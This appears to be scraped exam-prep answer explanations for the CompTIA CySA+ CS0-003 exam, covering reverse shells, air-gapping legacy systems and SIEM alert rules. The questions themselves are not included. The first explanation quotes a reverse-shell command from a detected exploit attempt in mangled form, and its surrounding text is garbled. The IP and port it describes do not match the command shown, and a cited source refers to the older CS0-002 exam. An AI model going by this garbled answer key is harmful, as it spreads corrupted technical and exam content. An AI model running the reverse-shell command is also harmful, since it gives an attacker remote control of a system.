CompTIA Cybersecurity Analyst (CySA+): CS0-003

Correct Answer: B

A reverse shell is a type of shell access that allows a remote user to execute commands on a target system or network by reversing the normal direction of communication. A reverse shell is usually created by running a malicious script or program on the target system that connects back to the " a shell session. A reverse shell can bypass firewalls or other security controls that block incoming connections, as it uses an outgoing connection initiated by the target system. In this case, the security analyst has detected an exploit attempt containing the following command: sh -i >and /dev/udp.1.1.11 0>$l This command is a shell script that creates a reverse shell connection from the target system to the "P address 10.1.1.1 and port 4821 using UDP protocol.

Correct Answer: B

Implementing an air gap for the legacy systems is the best solution to improve their security posture. An air gap is a physical separation of a system or network from any other system or network that may pose a threat. An air gap can prevent any unauthorized access or data transfer between the isolated system or network and the external environment. Implementing an air gap for the legacy systems can help to protect them from being exploited by attackers who may take advantage of their unpatched vulnerabilities .

Correct Answer: D

A security information and event management (SIEM) system is a tool that collects and analyzes log data from various sources and provides alerts and reports on security incidents and events. A security analyst can create a custom rule on a SIEM system to automate the incident response process for malware infections. For example, the analyst can create a rule that triggers an alert email when the SIEM system detects logs that match the criteria of malware infection, such as process name, file name, file hash, etc. The alert email can be sent within 30 minutes or any other desired time frame. The other options are not suitable or sufficient for this purpose. CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 15; https://www.sans.org/reading-room/whitepapers/analyst/security-information-event-managementsiem-implementation-33969